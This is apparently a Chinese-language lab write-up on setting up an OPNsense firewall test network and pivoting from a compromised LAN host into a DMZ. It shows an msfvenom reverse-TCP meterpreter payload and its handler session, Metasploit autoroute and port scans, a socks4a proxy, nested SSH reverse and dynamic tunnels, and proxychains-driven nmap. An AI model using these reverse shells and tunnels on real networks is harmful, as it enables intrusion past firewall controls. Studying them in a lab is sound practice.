OPNsense防火墙搭建实验环境,MSF与SSH进行流量转发
摘要:
记录实验过程中踩到的坑。介绍OPNsense防火墙的安装配置并搭建实验环境,利用msf的模块及ssh进行流量转发(LAN向DMZ方向),为内网渗透做好准备。
目录:
一、实验环境
二、OPNsense环境搭建
三、LAN主机控制权,执行反弹shell
四、判断内网网段
五、寻找存活主机并扫描端口
六、msf模块(socks4a)
七、SSH嵌套(socks5):本地端口转发 + 远程端口转发 + 动态端口转发
八、使用proxychains代理
九、其它:nc获取HTTP,\r\n换行符问题
十、总结
正文:
一、实验环境
目标:已控制LAN主机,需要向DMZ进行渗透。
一般DMZ为外网可以直接访问,这里没有添加WAN到DMZ的NAT规则。因为实验只是模拟LAN到DMZ,没有影响。
这里的DMZ可类似等于,LAN中其它网段的内网。
网络初始情况:(防火墙默认的规则)
LAN 可以访问 WAN + DMZ
DMZ 无法访问 WAN + LAN
WAN 无法访问 DMZ + LAN
二、OPNsense环境搭建
1、VM虚拟机的网卡设置:用于 LAN OPT(DMZ)
选择“仅主机模式” 。
不要开启DHCP服务,后续让OPNsense 来完成这个功能。
2、OPNsense硬件:配置三块网卡
第一块 VMnet10 配置成LAN:DHCP服务器 + web管理
第二块 VMnet11 配置成DMZ(OPT1):DHCP服务器
第三块 桥接物理网络 WAN:自动获取IP
3、登陆:初始账号密码:root opnsense
4、指定接口(选项1)
5、配置LAN(选项2):DHCP服务器 + web管理
会显示Web管理界面的地址(即防火墙IP)
6、配置DMZ(OPT1)(选项2):DHCP服务器
7、配置WAN(选项2):自动获取IP
8、配置完成
注意:遇到几次 OPT1 显示的ip不是设置的ip,而是DHCP的第一个地址。原因没找到…重新再对OPT1进行设置即可…
9、启动其它虚拟机
配置相应的VM网卡即可
注意:其它虚拟机最好不要先于防火墙启动(除非最后再重新获取一下IP),可能会出现LAN无法访问到DMZ之类的各种问题…
10、web管理界面:
LAN主机访问 192.168.100.1 登陆,进行防火墙规则配置。
三、LAN主机控制权,执行反弹shell
不讨论获取控制权的方法
注意:使用80/22这类防火墙允许出站的端口
直接msf生成,放到LAN执行
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.6 lport=80 -a x86 --platform win -f exe -o test_re_shell.exe
kali监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf exploit(handler) > set LPORT 80 LPORT => 80 msf exploit(handler) > exploit [*] Started reverse TCP handler on 0.0.0.0:80 [*] Sending stage (179267 bytes) to 192.168.1.8 [*] Meterpreter session 1 opened (192.168.1.6:80 -> 192.168.1.8:17172) at 2017-12-13 19:55:28 +0800 meterpreter >
四、判断内网网段
LAN网段:
meterpreter命令 ifconfig
meterpreter > ifconfig
...
Interface 13
============
Name : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:da:02:47 MTU : 1500 IPv4 Address : 192.168.100.21 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::18ab:6da2:c479:1fe5 IPv6 Netmask : ffff:ffff:ffff:ffff:: ...
DMZ网段:
1、netstat:寻找指向DMZ的连接
meterpreter > netstat
Connection list
===============
Proto Local address Remote address State User Inode PID/Program name
----- ------------- -------------- ----- ---- ----- ----------------
...
tcp 192.168.100.21:49310 192.168.150.22:80 ESTABLISHED 0 0 1560/iexplore.exe ...
2、查看dns缓存记录(windows环境):
ipconfig /displaydns
meterpreter > shell
Process 2548 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ���� C:\Users\molibird\Desktop>ipconfig /displaydns ipconfig /displaydns Windows IP ���� ... www.baidu.com ---------------------------------------- û�� AAAA ���͵ļ�¼ ...
找到疑似内网的域名进行ping 获取ip
C:\Users\molibird\Desktop>ping www.molibird.com ...
3、查看dns缓存记录(linux环境):
Linux下,默认好像不存在系统级别的dns缓存。
另外,nscd服务可以达到效果,但默认不启动,并且无法查看具体缓存信息。
service nscd start #开启服务
nscd -g #只能看缓存的整体统计
file /var/cache/nscd/hosts #缓存文件是 data 类型,无法直接查看,也没有找到命令可以...
4、traceroute:通过路由情况 判断控制的LAN主机 是否在更深层的网络
访问外网任意域名即可
meterpreter > shell
C:\Users\molibird\Desktop>tracert www.molibird.com #windows环境cmd C:\Users\molibird\Desktop>traceroute -n www.molibird.com #linux环境
五、寻找存活主机并扫描端口
msf 路由功能:
1、post/multi/manage/autoroute
注意:添加DMZ网段时 记得修改 cmd 参数 add ! 否则会直接无视subnet的设置
msf exploit(handler) > use post/multi/manage/autoroute
msf post(autoroute) > set subnet 192.168.100.0 #LAN #set subnet 192.168.150.0 #DMZ subnet => 192.168.100.0 msf post(autoroute) > set session 1 session => 1 msf post(autoroute) > set cmd add #默认参数autoadd会无视subnet的设置 自行判断 然后添加 cmd => add msf post(autoroute) > show options Module options (post/multi/manage/autoroute): Name Current Setting Required Description ---- --------------- -------- ----------- CMD add yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default) NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24" SESSION 1 yes The session to run this module on. SUBNET 192.168.100.0 no Subnet (IPv4, for example, 10.10.10.0) msf post(autoroute) > exploit [!] SESSION may not be compatible with this module. [*] Running module against WIN-IFS3VSNKUQU [*] Adding a route to 192.168.100.0/255.255.255.0... [+] Route added to subnet 192.168.100.0/255.255.255.0. [*] Post module execution completed
2、meterpreter的模块autoroute (已经不推荐使用)
meterpreter > run autoroute -h #查看帮助
meterpreter > run autoroute -s 192.168.100.0/24 #添加
meterpreter > run autoroute -d -s 192.168.100.0/24 #删除 meterpreter > run autoroute -p #列出目前路由
扫描端口功能:
注意:发现 RHOST设置太大范围的话 很可能会漏报。
1、post/windows/gather/arp_scanner
2、auxiliary/scanner/portscan/tcp
3、auxiliary/scanner/portscan/syn
4、auxiliary/scanner/portscan/ack
在meterpreter中使用:run + 参数
例子:
meterpreter > run auxiliary/scanner/portscan/syn RHOSTS=192.168.100.20-25 PORTS=1-100 THREADS=10
在msfconsole中使用:例子:
msf post(autoroute) > use auxiliary/scanner/portscan/ack
msf auxiliary(ack) > set THREADS 10
THREADS => 10
msf auxiliary(ack) > set PORTS 1-100
PORTS => 1-100 msf auxiliary(ack) > set RHOSTS 192.168.100.18-22 RHOSTS => 192.168.100.18-22 msf auxiliary(ack) > show options Module options (auxiliary/scanner/portscan/ack): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-100 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 192.168.100.18-22 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 10 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(ack) > exploit
总结的情况:
SYN/ACK类的都无法转发,完整的TCP可以进行转发
红色对钩:可以扫描
黑色乄(DMZ-ARP扫描中):ARP协议在同一网段中使用,所以对于DMZ无法适用。但又和其余黑色×不同,用wireshark抓包发现,ARP实际发送给了192.168.1.8防火墙(被转发了)。
其余黑色×:封包直接就发送给了不存在的192.168.100.0/24和192.168.150.0/24。(SYN/ACK无法被转发)
六、msf模块(socks4a)
将msf环境下的route供应给其它程序使用
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0 msf auxiliary(socks4a) > set SRVPORT 1080 SRVPORT => 1080 msf auxiliary(socks4a) > exploit [*] Auxiliary module running as background job 0. msf auxiliary(socks4a) > [*] Starting the socks4a proxy server
七、SSH嵌套(socks5):本地端口转发 + 远程端口转发 + 动态端口转发
SSH 有三种端口转发的情况:
本地端口转发
远程端口转发
动态端口转发
草图中 红色箭头是真实流量的方向,黑色箭头是ssh连接的方向
对于本文的情况只能选择远程端口转发,这样可能需要多次使用ssh命令增加转发的规则。
将SSH嵌套使用:本地端口转发(外层)+ 远程端口转发(中层) +动态端口转发(内层)
1、外层:kali 既是ssh服务端,又是ssh客户端
在中层之后,kali监听的是本地的 127.0.0.1。
当我需要使用AWVS这类windows平台工具对DMZ进行渗透的时候,需要借用kali中建立的隧道。
利用本地端口转发 -g 的模式 开放一个端口给整个kali渗透这边的局域网。
2、中层:kali 是ssh服务端 ,LAN主机是ssh客户端
进行两主机间的端口转发
3、内层:LAN主机 既是ssh服务端,又是ssh客户端
将ssh“升级”为动态,避免多次使用ssh命令指定转发规则。
流量转发流向:windows渗透平台(192.168.1.2)
1、软件设置:192.168.1.2 –> 192.168.1.6:6000 (kali)
2、通过外层:192.168.1.6:6000(kali) –>192.168.1.6:7000(kali)
3、通过中层:192.168.1.6:7000(kali) –> 192.168.1.8 (防火墙)
4、通过中层 + 防火墙NAT:192.168.1.8(防火墙) –>192.168.100.22:2000(LAN主机)
5、通过内层:192.168.100.22:2000(LAN主机) –> 192.168.100.22:22(LAN主机)
6、代理访问:192.168.100.22:22(LAN主机) –> 192.168.100.22:xxx(随机端口) –> 192.168.150.80:80(DMZ主机)
步骤:
步骤一:kali:(外层ssh服务端 + 中层ssh服务端)
配置文件:/etc/ssh/sshd_config
Port 53
PermitRootLogin yes
PasswordAuthentication yes
步骤二、LAN主机:(内层ssh服务端)配置
配置文件:/etc/ssh/sshd_config
Port 22
PermitRootLogin yes
PasswordAuthentication yes
步骤三、LAN主机:(内层ssh进行连接)(自己连自己) 监听在端口2000
ssh -f -CN -D 2000 root@127.0.0.1 -p 22
步骤四、LAN主机:(中层ssh向kali进行连接) 远程端口转发
1、转发目标为 内层ssh的监听端口20002、会在kali上开启7000端口进行监听 转发流量
ssh -CN -R 7000:127.0.0.1:2000 root@192.168.1.6 -p 53
步骤五、kali:(外层ssh进行连接)(自己连接自己)监听在6000端口
-g参数!让局域网可用!
ssh -CN -g -L 6000:127.0.0.1:7000 root@127.0.0.1 -p 53
步骤六、windows渗透平台,通过 127.0.0.1:6000 进行代理即可
八、使用proxychains代理
配置文件/etc/proxychains.conf添加:
socks4和socks4a协议的 都是写作socks4
socks4 host port
#socks5 host port
进行代理:
proxychains nc 192.168.150.22 80
proxychains firefox
proxychains nmap -T4 -vv -Pn -sT 192.168.150.0/24
1、firefox使用:
注意:在proxychains开启firefox的时候,千万不要已经有firefox实例启动着!!!通通关掉!!!
另外,firefox可以直接指定socks代理 不通过proxychains:
注意:设置socks代理的时候,上面的一些不需要填写!空着!
2、nmap使用:
注意:使用 -sT 参数!
注意:使用 -Pn 参数跳过主机存活检测
socks、proxychains 都无法代理单独的SYN/ACK这类的扫描,只能使用TCP完整连接进行扫描!
nmap 会先 进行DNS的查询(不会有正确的响应),接着会进行转发。
proxychains nmap -T4 -vv -Pn -sT 192.168.150.0/24
九、其它:nc获取HTTP,\r\n换行符问题
遇到情况:
1、直接连接:回车换行直接发送,导致无法加入其它HTTP头
nc -nv 192.168.1.2 80
GET / HTTP/1.1 #回车这里会直接发送出去了...
2、proxychains 代理 nc:回车换行 可能无效(有些网站正常/有些不正常)
root@kali201702:~# proxychains nc 192.168.100.1 80
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:6000-<><>-192.168.100.1:80-<><>-OK GET / HTTP/1.1 Host: 192.168.100.1 #这里的回车 没有效果
原因没有找到
解决办法:
1、将HTTP请求写在文本里 然后重定向到nc
vim编写的时候 需要设置 :set fileformat=dos 让换行成为\r\n
http.txt最后有两个 \r\n 换行
GET / HTTP/1.1
Host: 192.168.1.2
nc -nv 192.168.1.2 80 < http.txt
2、echo + 管道:
-e 参数 可以解析\r\n
echo -e 'GET / HTTP/1.1\r\nHost: 192.168.1.2\r\n\r\n' | nc 192.168.1.2 80
3、连带最后两个换行,直接右键复制文本到终端窗口…
十、总结
1、实验场景是从LAN到DMZ,不知道真实情况这种多不多(社工?)。一般DMZ是可以外网直接访问到,然后从WEB切入,应该就需要从DMZ渗透到LAN,此时防火墙是会阻止这样的访问,这也是设立DMZ的一个目的。这种情况后续还需要再学习…
2、如同这里写的SSH嵌套使用,其它的DNS隧道/HTTP隧道等好像都有可能相互嵌套。感觉就是俄罗斯套娃…
3、msf的路由功能、socks代理、proxychains 无法转发SYN/ACK这类的扫描,使用完整TCP连接进行扫描。namp 使用 -sT 参数 并用 -Pn 跳过主机发现阶段。
参考:
1、http://www.freebuf.com/articles/network/125278.html
2、https://security.stackexchange.com/questions/120708/nmap-through-proxy/120723#120723
3、https://unix.stackexchange.com/questions/28553/how-to-read-the-local-dns-cache-contents
4、https://www.offensive-security.com/metasploit-unleashed/proxytunnels/
5、https://www.offensive-security.com/metasploit-unleashed/pivoting/
6、https://m0n0.ch/wall/m0n0wall%20handbook%20chinese.pdf
防火墙产品:OPNsense、pfSense、m0n0wall(官网好像已经没有下载连接了)
1、https://opnsense.org/
2、https://www.pfsense.org/
3、https://m0n0.ch/wall/index.php